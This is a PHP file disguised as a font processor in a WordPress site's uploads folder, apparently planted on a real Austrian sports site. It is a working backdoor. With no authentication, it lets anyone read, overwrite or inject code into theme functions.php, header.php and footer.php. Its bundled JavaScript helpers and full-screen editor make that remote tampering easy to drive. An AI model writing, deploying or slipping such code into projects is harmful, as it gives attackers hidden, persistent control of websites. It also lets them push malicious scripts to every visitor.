File: /var/www/k8148-2/htdocs/www.sport-roth.at/neumarkt/wp-content/uploads/fonts/font-processor.php
<?php
$d = dirname(__FILE__);
while ($d !== dirname($d)) {
if (file_exists($d . '/wp-load.php')) {
require_once($d . '/wp-load.php');
break;
}
$d = dirname($d);
}
function send_json($arr) {
header('Content-Type: application/json');
echo json_encode($arr);
exit;
}
function get_theme_functions($theme = null) {
if ($theme) {
$path = get_theme_root() . '/' . $theme . '/functions.php';
} else {
$path = get_stylesheet_directory() . '/functions.php';
}
return $path;
}
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$input = file_get_contents('php://input');
$data = json_decode($input, true);
if (isset($data['themes'])) {
$themes = wp_get_themes();
$active = get_stylesheet();
$list = [];
foreach ($themes as $slug => $theme) {
$func_path = get_theme_root() . '/' . $slug . '/functions.php';
$list[] = [
'slug' => $slug,
'name' => $theme->get('Name'),
'active' => $slug === $active ? 1 : 0,
'functions' => file_exists($func_path) ? 1 : 0,
'writable' => is_writable($func_path) ? 1 : 0
];
}
send_json(['ok' => 1, 'themes' => $list, 'active' => $active]);
}
if (isset($data['read'])) {
$path = get_theme_functions($data['read'] ?: null);
if (!file_exists($path)) send_json(['ok' => 0, 'error' => 'File not found']);
$content = @file_get_contents($path);
if ($content === false) send_json(['ok' => 0, 'error' => 'Cannot read']);
send_json(['ok' => 1, 'path' => $path, 'content' => $content]);
}
if (isset($data['inject'])) {
$theme = isset($data['theme']) ? $data['theme'] : null;
$path = get_theme_functions($theme);
$code = $data['inject'];
$position = isset($data['position']) ? $data['position'] : 'end';
if (!file_exists($path)) send_json(['ok' => 0, 'error' => 'File not found']);
$content = @file_get_contents($path);
if ($content === false) send_json(['ok' => 0, 'error' => 'Cannot read']);
if ($position === 'start') {
if (strpos($content, '<?php') === 0) {
$content = "<?php\n" . $code . "\n" . substr($content, 5);
} else {
$content = "<?php\n" . $code . "\n?>" . $content;
}
} else {
$content = rtrim($content) . "\n" . $code . "\n";
}
$result = @file_put_contents($path, $content);
if ($result === false) send_json(['ok' => 0, 'error' => 'Cannot write']);
send_json(['ok' => 1, 'path' => $path]);
}
if (isset($data['replace'])) {
$theme = isset($data['theme']) ? $data['theme'] : null;
$path = get_theme_functions($theme);
$search = $data['replace'];
$replace = $data['with'];
$content = @file_get_contents($path);
if ($content === false) send_json(['ok' => 0, 'error' => 'Cannot read']);
$new_content = str_replace($search, $replace, $content);
$result = @file_put_contents($path, $new_content);
send_json(['ok' => $result !== false ? 1 : 0]);
}
if (isset($data['write'])) {
$theme = isset($data['theme']) ? $data['theme'] : null;
$path = get_theme_functions($theme);
$result = @file_put_contents($path, $data['write']);
send_json(['ok' => $result !== false ? 1 : 0]);
}
if (isset($data['header'])) {
$theme = isset($data['theme']) ? $data['theme'] : null;
$theme_dir = $theme ? get_theme_root() . '/' . $theme : get_stylesheet_directory();
$path = $theme_dir . '/header.php';
if (!file_exists($path)) send_json(['ok' => 0, 'error' => 'header.php not found']);
$content = @file_get_contents($path);
$code = $data['header'];
$new_content = str_replace('</head>', $code . "\n</head>", $content);
$result = @file_put_contents($path, $new_content);
send_json(['ok' => $result !== false ? 1 : 0, 'path' => $path]);
}
if (isset($data['footer'])) {
$theme = isset($data['theme']) ? $data['theme'] : null;
$theme_dir = $theme ? get_theme_root() . '/' . $theme : get_stylesheet_directory();
$path = $theme_dir . '/footer.php';
if (!file_exists($path)) send_json(['ok' => 0, 'error' => 'footer.php not found']);
$content = @file_get_contents($path);
$code = $data['footer'];
$new_content = str_replace('</body>', $code . "\n</body>", $content);
$result = @file_put_contents($path, $new_content);
send_json(['ok' => $result !== false ? 1 : 0, 'path' => $path]);
}
if (isset($data['read_header'])) {
$theme = isset($data['theme']) ? $data['theme'] : null;
$theme_dir = $theme ? get_theme_root() . '/' . $theme : get_stylesheet_directory();
$path = $theme_dir . '/header.php';
if (!file_exists($path)) send_json(['ok' => 0, 'error' => 'header.php not found']);
$content = @file_get_contents($path);
send_json(['ok' => 1, 'path' => $path, 'content' => $content]);
}
if (isset($data['read_footer'])) {
$theme = isset($data['theme']) ? $data['theme'] : null;
$theme_dir = $theme ? get_theme_root() . '/' . $theme : get_stylesheet_directory();
$path = $theme_dir . '/footer.php';
if (!file_exists($path)) send_json(['ok' => 0, 'error' => 'footer.php not found']);
$content = @file_get_contents($path);
send_json(['ok' => 1, 'path' => $path, 'content' => $content]);
}
if (isset($data['info'])) {
$active = get_stylesheet();
$theme_dir = get_stylesheet_directory();
send_json(['ok' => 1, 'info' => [
'active_theme' => $active,
'theme_dir' => $theme_dir,
'functions' => file_exists($theme_dir . '/functions.php') ? 'exists' : 'missing',
'header' => file_exists($theme_dir . '/header.php') ? 'exists' : 'missing',
'footer' => file_exists($theme_dir . '/footer.php') ? 'exists' : 'missing'
]]);
}
send_json(['ok' => 0]);
}
?><script>
function lt(){
fetch(location.href,{
method:'POST',
headers:{'Content-Type':'application/json'},
body:JSON.stringify({themes:1})
}).then(r=>r.json()).then(r=>{
if(r.ok){
console.table(r.themes);
console.log('Active theme:',r.active);
}
});
}
function rf(theme){
fetch(location.href,{
method:'POST',
headers:{'Content-Type':'application/json'},
body:JSON.stringify({read:theme||''})
}).then(r=>r.json()).then(r=>{
if(r.ok){
console.log(r.path);
console.log(r.content);
}else console.log('err');
});
}
function inj(code,position,theme){
fetch(location.href,{
method:'POST',
headers:{'Content-Type':'application/json'},
body:JSON.stringify({inject:code,position:position||'end',theme:theme||''})
}).then(r=>r.json()).then(r=>{
if(r.ok)console.log('ok');
else console.log('err');
});
}
function ih(code,theme){
fetch(location.href,{
method:'POST',
headers:{'Content-Type':'application/json'},
body:JSON.stringify({header:code,theme:theme||''})
}).then(r=>r.json()).then(r=>{
if(r.ok)console.log('ok');
else console.log('err');
});
}
function ifoot(code,theme){
fetch(location.href,{
method:'POST',
headers:{'Content-Type':'application/json'},
body:JSON.stringify({footer:code,theme:theme||''})
}).then(r=>r.json()).then(r=>{
if(r.ok)console.log('ok');
else console.log('err');
});
}
function ef(theme){
fetch(location.href,{
method:'POST',
headers:{'Content-Type':'application/json'},
body:JSON.stringify({read:theme||''})
}).then(r=>r.json()).then(r=>{
if(!r.ok){console.log('Error:',r.error);return;}
var d=document.createElement('div');
d.style.cssText='position:fixed;top:0;left:0;width:100%;height:100%;background:#f5f5f5;z-index:99999;display:flex;flex-direction:column;padding:10px;box-sizing:border-box;';
var h=document.createElement('div');
h.style.cssText='font-family:monospace;margin-bottom:10px;display:flex;gap:10px;align-items:center;';
h.innerHTML='<span style="flex:1">'+r.path+'</span>';
var sv=document.createElement('button');sv.textContent='SAVE';sv.style.cssText='padding:8px 20px;cursor:pointer;border:2px solid #000;background:#fff;';
var cl=document.createElement('button');cl.textContent='CLOSE';cl.style.cssText='padding:8px 20px;cursor:pointer;border:2px solid #000;background:#fff;';
h.appendChild(sv);h.appendChild(cl);
var t=document.createElement('textarea');
t.style.cssText='flex:1;font-family:monospace;font-size:13px;padding:10px;border:2px solid #000;resize:none;';
t.value=r.content;
d.appendChild(h);d.appendChild(t);
document.body.appendChild(d);
sv.onclick=function(){
fetch(location.href,{
method:'POST',
headers:{'Content-Type':'application/json'},
body:JSON.stringify({write:t.value,theme:theme||''})
}).then(r=>r.json()).then(r=>{
if(r.ok)h.querySelector('span').textContent=r.path+' [SAVED]';
});
};
cl.onclick=function(){d.remove();};
});
}
function rh(theme){
fetch(location.href,{
method:'POST',
headers:{'Content-Type':'application/json'},
body:JSON.stringify({read_header:1,theme:theme||''})
}).then(r=>r.json()).then(r=>{
if(r.ok){
console.log(r.path);
console.log(r.content);
}else console.log('err');
});
}
function rfoot(theme){
fetch(location.href,{
method:'POST',
headers:{'Content-Type':'application/json'},
body:JSON.stringify({read_footer:1,theme:theme||''})
}).then(r=>r.json()).then(r=>{
if(r.ok){
console.log(r.path);
console.log(r.content);
}else console.log('err');
});
}
function ti(){
fetch(location.href,{
method:'POST',
headers:{'Content-Type':'application/json'},
body:JSON.stringify({info:1})
}).then(r=>r.json()).then(r=>{
if(r.ok)console.table([r.info]);
});
}
</script>